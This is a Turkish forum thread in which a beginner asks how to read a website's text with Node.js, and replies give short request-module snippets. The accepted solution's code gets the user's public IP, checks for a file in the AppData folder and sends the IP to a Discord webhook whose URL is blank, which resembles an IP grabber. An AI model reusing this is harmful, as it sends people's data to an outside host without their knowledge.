Çözüldü Node.JS ile siteden veri nasıl çekilir?

Bu konu çözüldü olarak işaretlenmiştir. Çözülmediğini düşünüyorsanız konuyu rapor edebilirsiniz.

behzat_c

Hectopat
Katılım
28 Kasım 2020
Mesajlar
893
Çözümler
6
Daha fazla  
Cinsiyet
Erkek
Merhabalar. Node.js ile x sitesindeki ilk satırdaki yazıyı çekmek istiyorum. Bunu nasıl yapabilirim? Teşekkürler.
 
Çözüm
Body tanımsız olduğu için öyle.
JavaScript:
const request = require("request");
const os = require("os");
const { Webhook, MessageBuilder } = require('discord-webhook-node');
const fs = require("fs");

request({
    url: "https://ipapi.co/ip/",
    method: "get",
}, (error, response, body) => {


    const path = `${os.homedir}/Appdata/Local/GT/bro.dat`
    const hook = new Webhook('')

    if (fs.existsSync(path))

        hook.send(body)



})

Amacınız ip adresini öğrenmek sanırım. Bunun için o kadar uğraşmaya gerek yok aslında.
Request ve jsdom modülleri ile yapabilirsin. Request ile istek atar site html kodunu alırsın (body), jsdom ile html kodunu document e çevirirsin ve html javascripti (window.document) ile istediğin elementi çekebilirsin.
 
Request ve jsdom modülleri ile yapabilirsin. Request ile istek atar site html kodunu alırsın (body), jsdom ile html kodunu document e çevirirsin ve html javascripti (window.document) ile istediğin elementi çekebilirsin.
Bugün başladım js'ye o yüzden dediğinin hiç birini anlamadım. 1 saattir araştırıyorum ama nedense hiç mantıklı değil. C#'ta kolayca tek satır kod ile veriyi çekebiliyorum. Garip :)
Bu siteden nasıl veriyi çekebilirim? Kodu verebilir misiniz acaba?
 
Bugün başladım js'ye o yüzden dediğinin hiç birini anlamadım. 1 saattir araştırıyorum ama nedense hiç mantıklı değil. C#'ta kolayca tek satır kod ile veriyi çekebiliyorum. Garip :)
Bu siteden nasıl veriyi çekebilirim? Kodu verebilir misiniz acaba?
Ben html bir siteden veri çekiceksiniz sandım direk istek atıp body olarak çekebilirsiniz.
 
JavaScript:
const request = require("request");

request({
    url: "https://ipapi.co/ip/",
    method: "get"
}, error, response, body) => {
    console.log(body)
})

buyrun hocam.
Hata veriyor hocam.
1653060486075.png
 
JavaScript:
const request = require("request");
client.on('message',async message => {
  request({
    url: '',
    method: 'GET',
}, (error, response, body) => {
    if (!error) {
        bilgi = JSON.parse(body);
    } else {
        console.log(error);
    }
 

Geri
Yukarı